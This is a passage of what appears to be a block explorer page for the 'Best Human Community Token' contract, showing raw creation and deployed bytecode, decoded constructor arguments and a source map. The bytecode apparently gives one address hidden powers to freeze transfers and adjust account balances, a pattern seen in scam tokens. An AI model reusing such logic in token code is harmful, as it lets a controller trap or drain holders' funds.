183610f079190611dd5565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7e90611c63565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ff7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fee90611c43565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110d59190611d83565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611152576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114990611cc3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b990611ce3565b60405180910390fd5b6111cd8383836114bc565b6111d88383836115a4565b611261816040518060400160405280601c81526020017f7472616e7366657220616d6f756e7420657863656564732062616b6f00000000815250600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113a39092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112f681600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ef990919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516113969190611d83565b60405180910390a3505050565b60008383111582906113eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e29190611c01565b60405180910390fd5b5082840390509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156115605750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61159f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159690611d63565b60405180910390fd5b505050565b60006115af8461176f565b156116da5780600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115ff9190611dd5565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600954905080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116929190611e2b565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611769565b80600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117259190611e2b565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50505050565b600060011515600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515149050919050565b6000813590506117db81612171565b92915050565b6000813590506117f081612188565b92915050565b6000813590506118058161219f565b92915050565b60006020828403121561181d57600080fd5b600061182b848285016117cc565b91505092915050565b6000806040838503121561184757600080fd5b6000611855858286016117cc565b9250506020611866858286016117cc565b9150509250929050565b60008060006060848603121561188557600080fd5b6000611893868287016117cc565b93505060206118a4868287016117cc565b92505060406118b5868287016117f6565b9150509250925092565b600080604083850312156118d257600080fd5b60006118e0858286016117cc565b92505060206118f1858286016117e1565b9150509250929050565b60008060006060848603121561191057600080fd5b600061191e868287016117cc565b935050602061192f868287016117e1565b9250506040611940868287016117f6565b9150509250925092565b6000806040838503121561195d57600080fd5b600061196b858286016117cc565b925050602061197c858286016117f6565b9150509250929050565b60008060006060848603121561199b57600080fd5b60006119a9868287016117cc565b93505060206119ba868287016117f6565b92505060406119cb868287016117f6565b9150509250925092565b6119de81611e5f565b82525050565b6119ed81611e71565b82525050565b60006119fe82611db9565b611a088185611dc4565b9350611a18818560208601611eb4565b611a2181611f77565b840191505092915050565b6000611a39600f83611dc4565b9150611a4482611f88565b602082019050919050565b6000611a5c601b83611dc4565b9150611a6782611fb1565b602082019050919050565b6000611a7f601d83611dc4565b9150611a8a82611fda565b602082019050919050565b6000611aa2602483611dc4565b9150611aad82612003565b604082019050919050565b6000611ac5600c83611dc4565b9150611ad082612052565b602082019050919050565b6000611ae8601e83611dc4565b9150611af38261207b565b602082019050919050565b6000611b0b601c83611dc4565b9150611b16826120a4565b602082019050919050565b6000611b2e600e83611dc4565b9150611b39826120cd565b602082019050919050565b6000611b51600e83611dc4565b9150611b5c826120f6565b602082019050919050565b6000611b74602083611dc4565b9150611b7f8261211f565b602082019050919050565b6000611b97600783611dc4565b9150611ba282612148565b602082019050919050565b611bb681611e9d565b82525050565b611bc581611ea7565b82525050565b6000602082019050611be060008301846119d5565b92915050565b6000602082019050611bfb60008301846119e4565b92915050565b60006020820190508181036000830152611c1b81846119f3565b905092915050565b60006020820190508181036000830152611c3c81611a2c565b9050919050565b60006020820190508181036000830152611c5c81611a4f565b9050919050565b60006020820190508181036000830152611c7c81611a72565b9050919050565b60006020820190508181036000830152611c9c81611a95565b9050919050565b60006020820190508181036000830152611cbc81611ab8565b9050919050565b60006020820190508181036000830152611cdc81611adb565b9050919050565b60006020820190508181036000830152611cfc81611afe565b9050919050565b60006020820190508181036000830152611d1c81611b21565b9050919050565b60006020820190508181036000830152611d3c81611b44565b9050919050565b60006020820190508181036000830152611d5c81611b67565b9050919050565b60006020820190508181036000830152611d7c81611b8a565b9050919050565b6000602082019050611d986000830184611bad565b92915050565b6000602082019050611db36000830184611bbc565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611de082611e9d565b9150611deb83611e9d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611e2057611e1f611f19565b5b828201905092915050565b6000611e3682611e9d565b9150611e4183611e9d565b925082821015611e5457611e53611f19565b5b828203905092915050565b6000611e6a82611e7d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611ed2578082015181840152602081019050611eb7565b83811115611ee1576000848401525b50505050565b60006002820490506001821680611eff57607f821691505b60208210811415611f1357611f12611f48565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f496e76616c696420616464726573730000000000000000000000000000000000600082015250565b7f617070726f766520746f20746865207a65726f20616464726573730000000000600082015250565b7f617070726f76652066726f6d20746865207a65726f2061646472657373000000600082015250565b7f48617368206f6620757365727320616e642076616c75657320646f6e2774206d60008201527f6174636800000000000000000000000000000000000000000000000000000000602082015250565b7f496e76616c696420686173680000000000000000000000000000000000000000600082015250565b7f7472616e736665722066726f6d20746865207a65726f20616464726573730000600082015250565b7f7472616e7366657220746f20746865207a65726f206164647265737300000000600082015250565b7f496e76616c696420616d6f756e74000000000000000000000000000000000000600082015250565b7f4d75737420686176652075736572000000000000000000000000000000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f57616974696e6700000000000000000000000000000000000000000000000000600082015250565b61217a81611e5f565b811461218557600080fd5b50565b61219181611e71565b811461219c57600080fd5b50565b6121a881611e9d565b81146121b357600080fd5b5056fe7472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ad6c1ed91b3eb4d8833a0a0dacde22b64d20e68a7234e1173dc639e709826eb964736f6c63430008040033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000006baa738c969ba6541d26ee26203d6bf0e2c865220000000000000000000000000000000000000000000000000000003ae7f9a200000000000000000000000000000000000000000000000000000000000000001a426573742048756d616e20436f6d6d756e69747920546f6b656e00000000000000000000000000000000000000000000000000000000000000000000000000044248435400000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a082311161009757806397093149116100665780639709314914610276578063a9059cbb14610292578063dd62ed3e146102c2578063fb8bf94d146102f2576100f5565b806370a0823114610200578063715018a6146102305780638da5cb5b1461023a57806395d89b4114610258576100f5565b806323b872dd116100d357806323b872dd14610166578063313ce5671461019657806339509351146101b45780636993b047146101e4576100f5565b806306fdde03146100fa578063095ea7b31461011857806318160ddd14610148575b600080fd5b61010261030e565b60405161010f9190611c01565b60405180910390f35b610132600480360381019061012d919061194a565b6103a0565b60405161013f9190611be6565b60405180910390f35b6101506103be565b60405161015d9190611d83565b60405180910390f35b610180600480360381019061017b9190611870565b6103c8565b60405161018d9190611be6565b60405180910390f35b61019e6104a1565b6040516101ab9190611d9e565b60405180910390f35b6101ce60048036038101906101c9919061194a565b6104b8565b6040516101db9190611be6565b60405180910390f35b6101fe60048036038101906101f99190611986565b61056b565b005b61021a6004803603810190610215919061180b565b61082d565b6040516102279190611d83565b60405180910390f35b610238610876565b005b6102426108fe565b60405161024f9190611bcb565b60405180910390f35b610260610927565b60405161026d9190611c01565b60405180910390f35b610290600480360381019061028b91906118bf565b6109b9565b005b6102ac60048036038101906102a7919061194a565b610aa8565b6040516102b99190611be6565b60405180910390f35b6102dc60048036038101906102d79190611834565b610ac6565b6040516102e99190611d83565b60405180910390f35b61030c600480360381019061030791906118fb565b610b4d565b005b60606006805461031d90611ee7565b80601f016020809104026020016040519081016040528092919081815260200182805461034990611ee7565b80156103965780601f1061036b57610100808354040283529160200191610396565b820191906000526020600020905b81548152906001019060200180831161037957829003601f168201915b5050505050905090565b60006103b46103ad610f0f565b8484610f17565b6001905092915050565b6000600954905090565b60006103d58484846110e2565b610496846103e1610f0f565b610491856040518060600160405280602181526020016121b760219139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610447610f0f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113a39092919063ffffffff16565b610f17565b600190509392505050565b6000600860009054906101000a900460ff16905090565b60006105616104c5610f0f565b8461055c85600360006104d6610f0f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ef990919063ffffffff16565b610f17565b6001905092915050565b6000339050600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156105e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105d790611c83565b60405180910390fd5b60008311610623576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161061a90611ca3565b60405180910390fd5b60008211610666576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065d90611d23565b60405180910390fd5b6000600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156108265780600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107469190611e2b565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555083816107959190611dd5565b905080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546107e29190611dd5565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61087e610f0f565b73ffffffffffffffffffffffffffffffffffffffff1661089c6108fe565b73ffffffffffffffffffffffffffffffffffffffff16146108f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108e990611d43565b60405180910390fd5b6108fc60006113f8565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606007805461093690611ee7565b80601f016020809104026020016040519081016040528092919081815260200182805461096290611ee7565b80156109af5780601f10610984576101008083540402835291602001916109af565b820191906000526020600020905b81548152906001019060200180831161099257829003601f168201915b5050505050905090565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610aa45780600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000610abc610ab5610f0f565b84846110e2565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60003390506000821015610b96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b8d90611d03565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415610c06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bfd90611c23565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610de95782600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d869190611dd5565b9250508190555083600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610ef2565b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610e719190611dd5565b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050505050565b60008183610f079190611dd5565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7e90611c63565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610ff7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fee90611c43565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110d59190611d83565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611152576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114990611cc3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156111c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b990611ce3565b60405180910390fd5b6111cd8383836114bc565b6111d88383836115a4565b611261816040518060400160405280601c81526020017f7472616e7366657220616d6f756e7420657863656564732062616b6f00000000815250600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113a39092919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112f681600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610ef990919063ffffffff16565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516113969190611d83565b60405180910390a3505050565b60008383111582906113eb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e29190611c01565b60405180910390fd5b5082840390509392505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156115605750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b61159f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159690611d63565b60405180910390fd5b505050565b60006115af8461176f565b156116da5780600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115ff9190611dd5565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600954905080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116929190611e2b565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611769565b80600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117259190611e2b565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50505050565b600060011515600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515149050919050565b6000813590506117db81612171565b92915050565b6000813590506117f081612188565b92915050565b6000813590506118058161219f565b92915050565b60006020828403121561181d57600080fd5b600061182b848285016117cc565b91505092915050565b6000806040838503121561184757600080fd5b6000611855858286016117cc565b9250506020611866858286016117cc565b9150509250929050565b60008060006060848603121561188557600080fd5b6000611893868287016117cc565b93505060206118a4868287016117cc565b92505060406118b5868287016117f6565b9150509250925092565b600080604083850312156118d257600080fd5b60006118e0858286016117cc565b92505060206118f1858286016117e1565b9150509250929050565b60008060006060848603121561191057600080fd5b600061191e868287016117cc565b935050602061192f868287016117e1565b9250506040611940868287016117f6565b9150509250925092565b6000806040838503121561195d57600080fd5b600061196b858286016117cc565b925050602061197c858286016117f6565b9150509250929050565b60008060006060848603121561199b57600080fd5b60006119a9868287016117cc565b93505060206119ba868287016117f6565b92505060406119cb868287016117f6565b9150509250925092565b6119de81611e5f565b82525050565b6119ed81611e71565b82525050565b60006119fe82611db9565b611a088185611dc4565b9350611a18818560208601611eb4565b611a2181611f77565b840191505092915050565b6000611a39600f83611dc4565b9150611a4482611f88565b602082019050919050565b6000611a5c601b83611dc4565b9150611a6782611fb1565b602082019050919050565b6000611a7f601d83611dc4565b9150611a8a82611fda565b602082019050919050565b6000611aa2602483611dc4565b9150611aad82612003565b604082019050919050565b6000611ac5600c83611dc4565b9150611ad082612052565b602082019050919050565b6000611ae8601e83611dc4565b9150611af38261207b565b602082019050919050565b6000611b0b601c83611dc4565b9150611b16826120a4565b602082019050919050565b6000611b2e600e83611dc4565b9150611b39826120cd565b602082019050919050565b6000611b51600e83611dc4565b9150611b5c826120f6565b602082019050919050565b6000611b74602083611dc4565b9150611b7f8261211f565b602082019050919050565b6000611b97600783611dc4565b9150611ba282612148565b602082019050919050565b611bb681611e9d565b82525050565b611bc581611ea7565b82525050565b6000602082019050611be060008301846119d5565b92915050565b6000602082019050611bfb60008301846119e4565b92915050565b60006020820190508181036000830152611c1b81846119f3565b905092915050565b60006020820190508181036000830152611c3c81611a2c565b9050919050565b60006020820190508181036000830152611c5c81611a4f565b9050919050565b60006020820190508181036000830152611c7c81611a72565b9050919050565b60006020820190508181036000830152611c9c81611a95565b9050919050565b60006020820190508181036000830152611cbc81611ab8565b9050919050565b60006020820190508181036000830152611cdc81611adb565b9050919050565b60006020820190508181036000830152611cfc81611afe565b9050919050565b60006020820190508181036000830152611d1c81611b21565b9050919050565b60006020820190508181036000830152611d3c81611b44565b9050919050565b60006020820190508181036000830152611d5c81611b67565b9050919050565b60006020820190508181036000830152611d7c81611b8a565b9050919050565b6000602082019050611d986000830184611bad565b92915050565b6000602082019050611db36000830184611bbc565b92915050565b600081519050919050565b600082825260208201905092915050565b6000611de082611e9d565b9150611deb83611e9d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611e2057611e1f611f19565b5b828201905092915050565b6000611e3682611e9d565b9150611e4183611e9d565b925082821015611e5457611e53611f19565b5b828203905092915050565b6000611e6a82611e7d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015611ed2578082015181840152602081019050611eb7565b83811115611ee1576000848401525b50505050565b60006002820490506001821680611eff57607f821691505b60208210811415611f1357611f12611f48565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f496e76616c696420616464726573730000000000000000000000000000000000600082015250565b7f617070726f766520746f20746865207a65726f20616464726573730000000000600082015250565b7f617070726f76652066726f6d20746865207a65726f2061646472657373000000600082015250565b7f48617368206f6620757365727320616e642076616c75657320646f6e2774206d60008201527f6174636800000000000000000000000000000000000000000000000000000000602082015250565b7f496e76616c696420686173680000000000000000000000000000000000000000600082015250565b7f7472616e736665722066726f6d20746865207a65726f20616464726573730000600082015250565b7f7472616e7366657220746f20746865207a65726f206164647265737300000000600082015250565b7f496e76616c696420616d6f756e74000000000000000000000000000000000000600082015250565b7f4d75737420686176652075736572000000000000000000000000000000000000600082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f57616974696e6700000000000000000000000000000000000000000000000000600082015250565b61217a81611e5f565b811461218557600080fd5b50565b61219181611e71565b811461219c57600080fd5b50565b6121a881611e9d565b81146121b357600080fd5b5056fe7472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220ad6c1ed91b3eb4d8833a0a0dacde22b64d20e68a7234e1173dc639e709826eb964736f6c63430008040033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000006baa738c969ba6541d26ee26203d6bf0e2c865220000000000000000000000000000000000000000000000000000003ae7f9a200000000000000000000000000000000000000000000000000000000000000001a426573742048756d616e20436f6d6d756e69747920546f6b656e00000000000000000000000000000000000000000000000000000000000000000000000000044248435400000000000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : tname_ (string): Best Human Community Token
Arg [1] : tsymbol_ (string): BHCT
Arg [2] : nowe_ (address): 0x6baa738C969bA6541d26Ee26203d6bF0E2C86522
Arg [3] : totalSupply_ (uint256): 253000000000

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000006baa738c969ba6541d26ee26203d6bf0e2c86522
Arg [3] : 0000000000000000000000000000000000000000000000000000003ae7f9a200
Arg [4] : 000000000000000000000000000000000000000000000000000000000000001a
Arg [5] : 426573742048756d616e20436f6d6d756e69747920546f6b656e000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000004
Arg [7] : 4248435400000000000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

12014:6936:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13050:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14384:194;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13250:108;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13927:447;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13149:91;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;14586:290;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16376:582;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13576:154;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4771:94;;;:::i;:::-;;4120:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12945:95;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;18445:170;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13366:200;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13738:181;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16968:571;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;13050:91;13095:13;13128:5;13121:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13050:91;:::o;14384:194::-;14487:4;14509:39;14518:12;:10;:12::i;:::-;14532:7;14541:6;14509:8;:39::i;:::-;14566:4;14559:11;;14384:194;;;;:::o;13250:108::-;13311:7;13338:12;;13331:19;;13250:108;:::o;13927:447::-;14067:4;14084:36;14094:6;14102:9;14113:6;14084:9;:36::i;:::-;14131:213;14154:6;14175:12;:10;:12::i;:::-;14202:131;14258:6;14202:131;;;;;;;;;;;;;;;;;:11;:19;14214:6;14202:19;;;;;;;;;;;;;;;:33;14222:12;:10;:12::i;:::-;14202:33;;;;;;;;;;;;;;;;:37;;:131;;;;;:::i;:::-;14131:8;:213::i;:::-;14362:4;14355:11;;13927:447;;;;;:::o;13149:91::-;13198:5;13223:9;;;;;;;;;;;13216:16;;13149:91;:::o;14586:290::-;14689:4;14711:133;14734:12;:10;:12::i;:::-;14761:7;14783:50;14822:10;14783:11;:25;14795:12;:10;:12::i;:::-;14783:25;;;;;;;;;;;;;;;:34;14809:7;14783:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;14711:8;:133::i;:::-;14862:4;14855:11;;14586:290;;;;:::o;16376:582::-;16501:12;16516:10;16501:25;;16576:1;16559:19;;:5;:19;;;;16537:105;;;;;;;;;;;;:::i;:::-;;;;;;;;;16669:1;16661:5;:9;16653:34;;;;;;;;;;;;:::i;:::-;;;;;;;;;16721:1;16706:12;:16;16698:43;;;;;;;;;;;;:::i;:::-;;;;;;;;;16752:13;16793:6;:13;16800:5;16793:13;;;;;;;;;;;;;;;;;;;;;;;;;16784:22;;:5;:22;;;16780:171;;;16853:5;16838:6;:12;16845:4;16838:12;;;;;;;;;;;;;;;;:20;;;;:::i;:::-;16823:6;:12;16830:4;16823:12;;;;;;;;;;;;;;;:35;;;;16882:5;16873:14;;;;;:::i;:::-;;;16934:5;16918:6;:13;16925:5;16918:13;;;;;;;;;;;;;;;;:21;;;;:::i;:::-;16902